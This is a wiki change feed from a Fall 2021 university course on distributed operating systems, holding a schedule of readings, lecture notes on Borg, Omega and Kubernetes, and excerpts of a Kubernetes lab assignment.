&amp;lt;p&amp;gt;Hint 1: Cassandra allows the client to choose their consistency level when making queries. Hint 2: Cassandra queries are made in CQL, a NoSQL query language that is similar to but not totally compatible with SQL. Hint 3: You can spawn a &amp;lt;code&amp;gt;cqlsh&amp;lt;/code&amp;gt; session to issue test CQL queries like &amp;lt;code&amp;gt;kubectl exec -it cassandra-0 -- cqlsh&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with multi-node Kubernetes, Cilium, and Cassandra in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Distributed_OS:_Fall_2021&amp;diff=23540</id>
		<title>Distributed OS: Fall 2021</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Distributed_OS:_Fall_2021&amp;diff=23540"/>
		<updated>2021-11-26T23:18:43Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Update ex2 due date&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Course Outline==&lt;br /&gt;
&lt;br /&gt;
[[Distributed OS: Fall 2021 Course Outline|Here]] is the course outline.&lt;br /&gt;
&lt;br /&gt;
==Experiences==&lt;br /&gt;
&lt;br /&gt;
* [[DistOS 2021F Experience 1|Experience 1]], due November 2, 2021&lt;br /&gt;
* [[DistOS 2021F Experience 2|Experience 2]], due December 10, 2021&lt;br /&gt;
&lt;br /&gt;
===Using Openstack===&lt;br /&gt;
&lt;br /&gt;
The experiences (and potentially your project) will involve using the SCS Openstack cluster:&lt;br /&gt;
* [[DistOS 2021F: Using Openstack|How to use Openstack (for COMP 4000/5102)]]&lt;br /&gt;
* [https://openstack.scs.carleton.ca SCS Openstack web console] (only available from the Carleton network)&lt;br /&gt;
&lt;br /&gt;
==Classes==&lt;br /&gt;
&lt;br /&gt;
More information will be posted here by the first class.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; If you don&#039;t have access to the course information on brightspace, please email Prof. Somayaji, you may need to be manually added.  (If you&#039;re at UofO or you recently added COMP 5102, you probably need to be added manually.)  On Brightspace the course should show up as COMP 4000 no matter whether you enrolled in it or COMP 5102.&lt;br /&gt;
&lt;br /&gt;
==Project Help==&lt;br /&gt;
&lt;br /&gt;
To develop a literature review or research proposal, start with a single research paper that you find interesting and that is related to distributed operating systems in some way.&lt;br /&gt;
&lt;br /&gt;
To begin selecting a paper, I suggest that you:&lt;br /&gt;
* search on Google Scholar using keywords relating to your interests, and/or&lt;br /&gt;
* browse the proceedings of major conferences that publish work related to distributed operating systems.&lt;br /&gt;
&lt;br /&gt;
The main operating system conferences are [https://www.usenix.org/conferences/byname/179 OSDI] and ACM SOSP ([http://sosp.org/ sosp.org],[http://dl.acm.org/event.cfm?id=RE208&amp;amp;CFID=475138068&amp;amp;CFTOKEN=43996267 ACM DL]).  Note that not all the work here is on distributed operating systems!  Also, many other conferences publish some work related to distributed operating systems, e.g. [https://www.usenix.org/conferences/byname/178 NSDI].&lt;br /&gt;
&lt;br /&gt;
To help you write a literature review or the background of a research paper, read the following:&lt;br /&gt;
* Harvey, &amp;quot;What Is a Literature Review?&amp;quot; [http://www.cs.cmu.edu/~missy/WritingaLiteratureReview.doc (DOC)] [http://www.cs.cmu.edu/~missy/Writing_a_Literature_Review.ppt (PPT)]&lt;br /&gt;
* [http://www.writing.utoronto.ca/advice/specific-types-of-writing/literature-review Taylor, &amp;quot;The Literature Review: A Few Tips On Conducting It&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Implementation experiences will depend upon your technical background and personal interests.  If you have an idea, please discuss with Anil or William as soon as you can.&lt;br /&gt;
&lt;br /&gt;
==Readings &amp;amp; Classes==&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-09|September 9, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Introduction&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-14|September 14, 2021]]===&lt;br /&gt;
UNIX&lt;br /&gt;
* [https://www.youtube.com/watch?v=tc4ROCJYbm0 The UNIX System: Making Computers More Productive (1982)], video&lt;br /&gt;
* [http://homeostasis.scs.carleton.ca/~soma/distos/fall2008/unix.pdf Dennis M. Ritchie and Ken Thompson, &amp;quot;The UNIX Time-Sharing System&amp;quot; (1974)]&lt;br /&gt;
Note that the video covers the main points of the paper.&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-16|September 16, 2021]]===&lt;br /&gt;
LOCUS&lt;br /&gt;
* [http://homeostasis.scs.carleton.ca/~soma/distos/2008-01-21/walker-locus.pdf Bruce Walker et al., &amp;quot;The LOCUS Distributed Operating System.&amp;quot; (1983)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-21|September 21, 2021]]===&lt;br /&gt;
NFS&lt;br /&gt;
* [http://homeostasis.scs.carleton.ca/~soma/distos/2008-02-11/sandberg-nfs.pdf Russel Sandberg et al., &amp;quot;Design and Implementation of the Sun Network Filesystem&amp;quot; (1985)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-23|September 23, 2021]]===&lt;br /&gt;
Distributed Shared Memory&lt;br /&gt;
* [http://homeostasis.scs.carleton.ca/~soma/distos/2008-02-11/protic-overview.pdf Jelica Protic et al., &amp;quot;Distributed Shared Memory: Concepts and Systems&amp;quot; (1996)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-28|September 28, 2021]]===&lt;br /&gt;
Plan 9&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2014w/presotto-plan9.pdf Presotto et. al, Plan 9, A Distributed System (1991)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2014w/pike-plan9.pdf Pike et al., Plan 9 from Bell Labs (1995)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-09-30|September 30, 2021]]===&lt;br /&gt;
Solaris Zones&lt;br /&gt;
* [https://www.usenix.org/legacy/publications/library/proceedings/lisa04/tech/full_papers/price/price.pdf Price &amp;amp; Tucker, &amp;quot;Solaris Zones: Operating System Support for Consolidating Commercial Workloads&amp;quot; (LISA 2004)]&lt;br /&gt;
* [https://www.usenix.org/system/files/login/articles/963-galvin.pdf Galvin, &amp;quot;Solaris 10 Containers&amp;quot; (;LOGIN 2005)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-10-05|October 5, 2021]]===&lt;br /&gt;
&lt;br /&gt;
NASD &amp;amp; GFS&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2008-03-10/gibson-nasd.pdf Garth A. Gibson et al., &amp;quot;A Cost-Effective, High-Bandwidth Storage Architecture&amp;quot; (1998)]&lt;br /&gt;
* [https://research.google.com/archive/gfs-sosp2003.pdf Sanjay Ghemawat et al., &amp;quot;The Google File System&amp;quot; (SOSP 2003)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-10-07|October 7, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Chubby &amp;amp; ZooKeeper&lt;br /&gt;
* [https://www.usenix.org/legacy/events/osdi06/tech/burrows.html Burrows, The Chubby Lock Service for Loosely-Coupled Distributed Systems (OSDI 2006)]&lt;br /&gt;
* [http://static.usenix.org/event/atc10/tech/full_papers/Hunt.pdf Hunt et al., &amp;quot;ZooKeeper: Wait-free coordination for Internet-scale systems&amp;quot; (USENIX ATC 2010)] [https://www.usenix.org/legacy/multimedia/atc10hunt (video)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-10-12|October 12, 2021]]===&lt;br /&gt;
&lt;br /&gt;
BigTable &amp;amp; MapReduce&lt;br /&gt;
* [https://research.google.com/archive/bigtable-osdi06.pdf Chang et al., &amp;quot;BigTable: A Distributed Storage System for Structured Data&amp;quot; (OSDI 2006)]&lt;br /&gt;
* [https://research.google.com/archive/mapreduce.html Dean &amp;amp; Ghemawat, &amp;quot;MapReduce: Simplified Data Processing on Large Clusters&amp;quot; (OSDI 2004)] (be sure to read paper)&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-10-14|October 14, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Omega &amp;amp; Borg&lt;br /&gt;
* [https://research.google/pubs/pub41684.pdf Schwarzkopf et al., &amp;quot;Omega: flexible, scalable schedulers for large compute clusters&amp;quot; (EuroSys 2013)]&lt;br /&gt;
* [https://research.google/pubs/pub43438.pdf Verma et al., &amp;quot;Large-scale cluster management at Google with Borg&amp;quot; (EuroSys 2015)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-10-19|October 19, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Midterm Review&lt;br /&gt;
&lt;br /&gt;
===October 21, 2021===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Midterm&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-02|November 2, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Cassandra &amp;amp; Dynamo&lt;br /&gt;
* [http://www.cs.cornell.edu/projects/ladis2009/papers/lakshman-ladis2009.pdf Lakshman &amp;amp; Malik, &amp;quot;Cassandra - A Decentralized Structured Storage System&amp;quot; (LADIS 2009)]&lt;br /&gt;
* [http://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf DeCandia et al., &amp;quot;Dynamo: Amazon’s Highly Available Key-value Store&amp;quot; (SOSP 2007)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-04|November 04, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Haystack &amp;amp; F4&lt;br /&gt;
* [http://static.usenix.org/legacy/events/osdi10/tech/full_papers/Beaver.pdf Beaver et al., &amp;quot;Finding a needle in Haystack: Facebook’s photo storage&amp;quot; (OSDI 2010)]&lt;br /&gt;
* [https://www.usenix.org/conference/osdi14/technical-sessions/presentation/muralidhar Muralidhar et al., &amp;quot;f4: Facebook&#039;s Warm BLOB Storage System&amp;quot; (OSDI 2014)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-09|November 09, 2021]]===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Proposal due by 11:59 PM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Spanner &amp;amp; Tensorflow&lt;br /&gt;
* [https://www.usenix.org/conference/osdi12/technical-sessions/presentation/corbett Corbett et al., &amp;quot;Spanner: Google’s Globally-Distributed Database&amp;quot; (OSDI 2012)]&lt;br /&gt;
* [https://www.usenix.org/conference/osdi16/technical-sessions/presentation/abadi Martin Abadi et al., &amp;quot;TensorFlow: A System for Large-Scale Machine Learning&amp;quot; (OSDI 2016)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-11|November 11, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Ceph&lt;br /&gt;
* [https://www.usenix.org/events/osdi06/tech/weil.html Weil et al., Ceph: A Scalable, High-Performance Distributed File System (OSDI 2006)].&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2021f/papers/weil2006-crush.pdf Weil et al., CRUSH: Controlled, Scalable, Decentralized Placement of Replicated Data (SC 2006)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-16|November 16, 2021]]===&lt;br /&gt;
&lt;br /&gt;
OceanStore &amp;amp; BOINC&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/fall2008/oceanstore-sigplan.pdf John Kubiatowicz et al., &amp;quot;OceanStore: An Architecture for Global-Scale Persistent Storage&amp;quot; (SIGPLAN 2000)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/fall2008/fast2003-pond.pdf Sean Rhea et al., &amp;quot;Pond: the OceanStore Prototype&amp;quot; (FAST 2003)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/fall2008/anderson-boinc.pdf Anderson, &amp;quot;BOINC: A System for Public-Resource Computing and Storage&amp;quot; (Grid Computing 2004)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-18|November 18, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Tapestry &amp;amp; Delos&lt;br /&gt;
* [https://pdos.csail.mit.edu/~strib/docs/tapestry/tapestry_jsac03.pdf Zhao et al, &amp;quot;Tapestry: A Resilient Global-Scale Overlay for Service Deployment&amp;quot; (JSAC 2003)]&lt;br /&gt;
* [https://www.usenix.org/system/files/osdi20-balakrishnan.pdf Balakrishnan et al., &amp;quot;Virtual Consensus in Delos&amp;quot; (OSDI 2020)]&lt;br /&gt;
&lt;br /&gt;
Background (optional but helpful):&lt;br /&gt;
* [https://en.wikipedia.org/wiki/Distributed_hash_table Wikipedia&#039;s article on Distributed Hash Tables]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-23|November 23, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Cryptocurrency origins&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2021f/papers/lamport1982-generals.pdf Lamport et al., &amp;quot;The Byzantine Generals Problem&amp;quot; (TOPLAS 1982)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2021f/papers/nakamoto2008-bitcoin.pdf Nakamoto, &amp;quot;Bitcoin: A Peer-to-Peer Electronic Cash System&amp;quot; (2008)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2021f/papers/nakamoto2008-email.pdf Nakamoto, &amp;quot;Re: Bitcoin P2P e-cash paper&amp;quot; (2008)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/distos/2021f/papers/lemieux2013-satoshi.pdf Lemieux, &amp;quot;Who is Satoshi Nakamoto?&amp;quot; (Regulation, Fall 2013)]&lt;br /&gt;
&lt;br /&gt;
===November 25, 2021===&lt;br /&gt;
&lt;br /&gt;
No class, US Thanksgiving&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-11-30|November 30, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Ethereum &amp;amp; NFTs&lt;br /&gt;
* [https://files.gitter.im/ethereum/yellowpaper/VIyt/Paper.pdf Wood, Ethereum: A secure decentralised generalised transaction ledger (2014)]&lt;br /&gt;
* [https://arxiv.org/pdf/2105.07447 Wang et al., &amp;quot;Non-Fungible Token (NFT): Overview, Evaluation, Opportunities and Challenges&amp;quot; (2021)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-12-02|December 2, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Ethereum Security &amp;amp; The Future&lt;br /&gt;
* [https://dl.acm.org/doi/pdf/10.1145/3391195 Chen et al, &amp;quot;A survey on ethereum systems security: Vulnerabilities, attacks, and defenses&amp;quot; (CSUR 2020)]&lt;br /&gt;
* [https://homeostasis.scs.carleton.ca/~soma/pubs/burgess-nspw2018.pdf Burgess &amp;amp; Somayaji, &amp;quot;After the BlockCloud Apocalypse&amp;quot; (NSPW 2018)]&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-12-07|December 7, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Project Presentations (Informal)&lt;br /&gt;
&lt;br /&gt;
===[[DistOS 2021F 2021-12-09|December 9, 2021]]===&lt;br /&gt;
&lt;br /&gt;
Class wrap up &amp;amp; Exam review&lt;br /&gt;
&lt;br /&gt;
===December 19, 2021===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Final Exam&#039;&#039;&#039; (Online, 2-5 PM)&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_2021-10-14&amp;diff=23415</id>
		<title>DistOS 2021F 2021-10-14</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_2021-10-14&amp;diff=23415"/>
		<updated>2021-10-14T23:46:07Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Notes==&lt;br /&gt;
&lt;br /&gt;
=== Big Picture (What the heck is this stuff?) ===&lt;br /&gt;
&lt;br /&gt;
* Think back the beginning of the course:&lt;br /&gt;
** Things were really mostly about taking ideas from Unix and making them distributed&lt;br /&gt;
** Folks did this at various levels of abstraction&lt;br /&gt;
** Some used the Unix kernel, some went off and did their own thing&lt;br /&gt;
* Now what are Borg, Omega and K8s doing?&lt;br /&gt;
** We’re no longer making Unix distributed – instead, we are distributing Unix&lt;br /&gt;
** The unit of computation is now a stripped-down Linux userspace -&amp;amp;gt; containers!&lt;br /&gt;
&lt;br /&gt;
What’s a container?&lt;br /&gt;
&lt;br /&gt;
* It’s just a collection of related processes and their resources&lt;br /&gt;
** Often only one process&lt;br /&gt;
* The unifying abstractions in the Linux world are:&lt;br /&gt;
*# Namespaces&lt;br /&gt;
*# Control groups (cgroups) – These were actually invented at Google for Borg/Omega/K8s&lt;br /&gt;
* Namespaces provide private resource “mappings”&lt;br /&gt;
** So in my PID namespace my PID might be 1, while it might be 12345 in your PID namespace&lt;br /&gt;
** Your PID might not even exist in my PID namespace&lt;br /&gt;
* Control groups are used for:&lt;br /&gt;
** Resource accounting&lt;br /&gt;
** Resource management&lt;br /&gt;
** Think “quantifiable” resources, like CPU, I/O, memory&lt;br /&gt;
** These are often also used to canonically “group” processes together&lt;br /&gt;
&lt;br /&gt;
What’s so special about a container here?&lt;br /&gt;
&lt;br /&gt;
* You get some &#039;&#039;really&#039;&#039; nice emergent properties from containers in a distributed context&lt;br /&gt;
* The OS-dependent interface is small (system calls and some system-wide parameters)&lt;br /&gt;
* Limited interference (when well-behaved)&lt;br /&gt;
* Do Linux containers provide real security benefits on their own? &#039;&#039;&#039;NO.&#039;&#039;&#039; (At least don&#039;t rely on them to isolate anything important on their own)&lt;br /&gt;
&lt;br /&gt;
Abstraction is one of the most important themes in OS design&lt;br /&gt;
&lt;br /&gt;
* Recall the goal of an operating system: We want to turn the computer into something you want to program on&lt;br /&gt;
* Containers abstract away the details of the underlying system&lt;br /&gt;
** This is super nice for deploying applications&lt;br /&gt;
* Pods abstract away the details of orchestrating the containers&lt;br /&gt;
** This is super nice for distributing applications&lt;br /&gt;
* &#039;&#039;Multiple&#039;&#039; layers of abstraction emerge, beyond the underlying OS kernel (which itself is full of them!)&lt;br /&gt;
&lt;br /&gt;
=== [https://storage.googleapis.com/pub-tools-public-publication-data/pdf/43438.pdf Borg] ===&lt;br /&gt;
&lt;br /&gt;
* What basic problem does Borg try to solve? Google basically had the following end goals in mind:&lt;br /&gt;
** We want to distribute our applications&lt;br /&gt;
** We want them to use resources efficiently&lt;br /&gt;
** We don’t want long-running services to go down, become overwhelmed, or become resource-starved&lt;br /&gt;
** We want our applications to be &#039;&#039;hardware-agnostic&#039;&#039; and &#039;&#039;OS-agnostic&#039;&#039; (this means we need abstractions!)&lt;br /&gt;
* Kinds of workloads&lt;br /&gt;
** Both batch jobs and long-running services&lt;br /&gt;
** Prod vs non-prod (latency-sensitive vs not) -&amp;amp;gt; most batch jobs are non-prod while most services are prod&lt;br /&gt;
** Long-running services should be prioritized when scheduling – particularly if they are user-facing&lt;br /&gt;
* Work loads can be disparate, but run on shared resources&lt;br /&gt;
** This improves resource utilization&lt;br /&gt;
** Why is that a good thing?&lt;br /&gt;
** Time is money! More efficient utilization of computational resources reduces overhead cost&lt;br /&gt;
* Evolving internal tooling&lt;br /&gt;
** configuring + updating jobs&lt;br /&gt;
** predicting resource requirements&lt;br /&gt;
** pushing configuration&lt;br /&gt;
** service discovery + load balancing&lt;br /&gt;
* Tooling wasn’t really unified&lt;br /&gt;
** Most of it was developed ad-hoc as needed&lt;br /&gt;
** This is great, but the result is that we essentially lack any kind of consistency&lt;br /&gt;
** Lack of consistency in turn increases the barrier to entry for deploying new services on Borg&lt;br /&gt;
** Probably okay for internal use, but not really well-suited to end users&lt;br /&gt;
* Borg architecture:&lt;br /&gt;
** Compute clusters are broken into &#039;&#039;cells&#039;&#039;&lt;br /&gt;
** Each cell can be made up of thousands of &#039;&#039;nodes&#039;&#039;&lt;br /&gt;
** One Borgmaster per cell&lt;br /&gt;
** Many Borglets per cell&lt;br /&gt;
** N.B. Google typically only deploys one main cell on a given cluster, possibly with a few smaller cells for specific tasks&lt;br /&gt;
* Borgmaster election&lt;br /&gt;
** The Borgmaster abstraction presents as a single process&lt;br /&gt;
** But it’s actually replicated under the hood&lt;br /&gt;
** We choose one node as the &#039;&#039;elected master&#039;&#039;&lt;br /&gt;
** Paxos allows us to establish consensus, Chubby then advertises who won the election&lt;br /&gt;
* Recovery from failure&lt;br /&gt;
** Borgmaster checkpoints -&amp;amp;gt; a snapshot + a change log for reconstruction&lt;br /&gt;
** Checkpoints live in the Paxos datastore&lt;br /&gt;
** Fauxmaster can be used to simulate a real system with checkpoints&lt;br /&gt;
** Good for user intervention and capacity planning&lt;br /&gt;
* Container orchestration&lt;br /&gt;
** IPs are per-host&lt;br /&gt;
** Every container gets its own port number (any problems?)&lt;br /&gt;
** Workload is broken up into &#039;&#039;jobs&#039;&#039; which have &#039;&#039;tasks&#039;&#039; (just a domain-specific word for containers)&lt;br /&gt;
** Jobs and tasks are irrevocably linked together (one cannot exist without the other)&lt;br /&gt;
&lt;br /&gt;
=== [https://storage.googleapis.com/pub-tools-public-publication-data/pdf/41684.pdf Omega] ===&lt;br /&gt;
&lt;br /&gt;
* Built to be a better Borg scheduler&lt;br /&gt;
** Architectural improvements&lt;br /&gt;
** What were the problems with the original Borg scheduler?&lt;br /&gt;
* Storing internal state&lt;br /&gt;
** Transaction-oriented data store&lt;br /&gt;
** Paxos for consensus, fault-tolerance&lt;br /&gt;
** So far this is pretty similar to Borg, but….&lt;br /&gt;
** Optimistic concurrency control to handle conflicts&lt;br /&gt;
** Different parts of the cluster control plane access the data store&lt;br /&gt;
** The store is the &#039;&#039;only&#039;&#039; centralized component!&lt;br /&gt;
* How is their approach to internal state better than Borg?&lt;br /&gt;
** It enables them to break up the Borgmaster&lt;br /&gt;
** No longer a single point of failure&lt;br /&gt;
** Easier to scale and modify the control plane as needed&lt;br /&gt;
* Monolithic vs Two-Level vs Shared-State schedulers&lt;br /&gt;
** monolithic schedulers (generally) have no concurrency&lt;br /&gt;
** they use a single scheduling algorithm (it usually has to be both simple and fair)&lt;br /&gt;
** two-level schedulers have a component that passes off the resources to other schedulers&lt;br /&gt;
** &#039;&#039;two-level&#039;&#039; -&amp;amp;gt; we are “scheduling” our schedulers&lt;br /&gt;
** shared state schedulers operate on readily available copies of resources&lt;br /&gt;
** some important properties in Omega’s design:&lt;br /&gt;
**# lock-free&lt;br /&gt;
**# optimistic concurrency control&lt;br /&gt;
**# transaction-based&lt;br /&gt;
* What does “lock-free” mean?&lt;br /&gt;
** A lock-free algorithm guarantees that all cores are able to make progress at any given time – in other words, guaranteed system-wide progress&lt;br /&gt;
** A wait-free algorithm has stronger guarantees: no computation will ever be blocked by another computation – in other words, guaranteed per-thread progress&lt;br /&gt;
** As you can imagine, wait-free algorithms are very hard to come up with (but the trade-off we get for higher complexity is even better concurrency guarantees)&lt;br /&gt;
&lt;br /&gt;
=== [https://queue.acm.org/detail.cfm?id=2898444 How Does K8s Fit in Here?] ===&lt;br /&gt;
&lt;br /&gt;
* K8s is an Omega designed for end-users&lt;br /&gt;
** Google wanted to sell more compute time on their cloud platform&lt;br /&gt;
** So they made the cloud more attractive to program on&lt;br /&gt;
* Pods&lt;br /&gt;
** A higher level abstraction on top of deployment containers&lt;br /&gt;
** Pods are containers that encapsulate one or more inner containers&lt;br /&gt;
** Pod defines the available resources, inner containers provide the isolation&lt;br /&gt;
** (Borg had a similar concept called the “alloc” but this was optional)&lt;br /&gt;
* Borg relied on external tooling to handle many of its resource and cluster management needs&lt;br /&gt;
* On the other hand, K8s tries to make its API consistent, rather than ad-hoc&lt;br /&gt;
** Exposes a set of API objects, each with its own purpose and accompanying metadta&lt;br /&gt;
** API objects have a base object metadata, spec, and status&lt;br /&gt;
** Spec varies by object type and describes its desired state&lt;br /&gt;
** Status describes its current state&lt;br /&gt;
** Object metadata then defines a consistent way of labelling objects&lt;br /&gt;
* Replication and auto scaling&lt;br /&gt;
** K8s decouples these concepts&lt;br /&gt;
** Replica controller ensures that a given number of pods of a given type are always running&lt;br /&gt;
** The auto scaler then just adjusts the number of desired pods, and the replica controller sees this change&lt;br /&gt;
* Separation of concerns between K8s components&lt;br /&gt;
** This is the Unix philosophy!&lt;br /&gt;
** Composable components that do one thing and do it well&lt;br /&gt;
* Different flavours of API object for different purposes, e.g.&lt;br /&gt;
** ReplicationController -&amp;amp;gt; runs forever-replicated containers&lt;br /&gt;
** DaemonSet -&amp;amp;gt; a single pod instance on every node&lt;br /&gt;
** Job -&amp;amp;gt; a controller that can run an arbitrarily-scaled batch job from start to finish&lt;br /&gt;
* Reconciliation controllers&lt;br /&gt;
** Continually observe state in a loop&lt;br /&gt;
** Where discrepancies between current and desired state are detected, take action&lt;br /&gt;
** The actual controller is stateless&lt;br /&gt;
** This makes it fault-tolerant! If a controller fails, just let someone else pick up the slack&lt;br /&gt;
* All store accesses are forced through a centralized API server&lt;br /&gt;
** This helps to provide consistency in access&lt;br /&gt;
** Centralization makes it easy to enforce consistent semantics and provide abstractions&lt;br /&gt;
&lt;br /&gt;
=== Discussion Questions ===&lt;br /&gt;
&lt;br /&gt;
What is so special about using the container as a unit of computation? Did the papers discuss any particular motivation for this design choice? How does this approach differ from earlier papers we have looked at in this course?&lt;br /&gt;
&lt;br /&gt;
How do the containers described here compare with Solaris Zones? How do both approaches compare with vanilla Unix?&lt;br /&gt;
&lt;br /&gt;
How does Borg compare with Omega in terms of its design and architecture? How do both systems compare with Kubernetes? Which of these systems seems the most user-friendly? Are any of them better-equipped to fill some obvious niche?&lt;br /&gt;
&lt;br /&gt;
Why do you think Google still mostly relied on Borg internally (at the time of these papers), despite admitted shortcomings?&lt;br /&gt;
&lt;br /&gt;
What motivated the design of three different container orchestration frameworks? Why not just modify Borg as needed?&lt;br /&gt;
&lt;br /&gt;
Did any tricky questions come up when reading the papers? Discuss these with your group and try to come up with possible answers to these questions.&lt;br /&gt;
&lt;br /&gt;
Did you have any observations about a particular design choice (good or bad)? Try to reach an agreement as a group on a particular design choice. If you can’t reach an agreement, talk about why your opinions differ.&lt;br /&gt;
&lt;br /&gt;
=== K8s Demo ===&lt;br /&gt;
&lt;br /&gt;
* Cluster setup, Openstack setup, getting ready for experience 1&lt;br /&gt;
* Demonstrate some specific parts of experience 1, without giving anything away&lt;br /&gt;
* Any specific requests?&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23340</id>
		<title>DistOS 2021F Experience 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23340"/>
		<updated>2021-09-26T17:50:01Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
In this implementation experience, you will be configuring and deploying a simple “hello world” Kubernetes cluster using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;. While your cluster is not yet truly “distributed”, it behaves just as a real Kubernetes cluster would. For more information on Kubernetes configuration, you may wish to consult the [https://kubernetes.io/docs/concepts/ official documentation]. Links to specific documentation items will also be provided as hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screen shots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The experience report is &#039;&#039;&#039;due on November 2nd, 2021&#039;&#039;&#039;. However, it may be a good idea to get started as quickly as possible, especially if you plan on doing an implementation-focused final project.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar with setting up a simple Kubernetes cluster.&lt;br /&gt;
# A harder challenge that involves you deploying your own image in your cluster to interact with a simple API.&lt;br /&gt;
# An opportunity to reflect on your experiences with Kubernetes and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
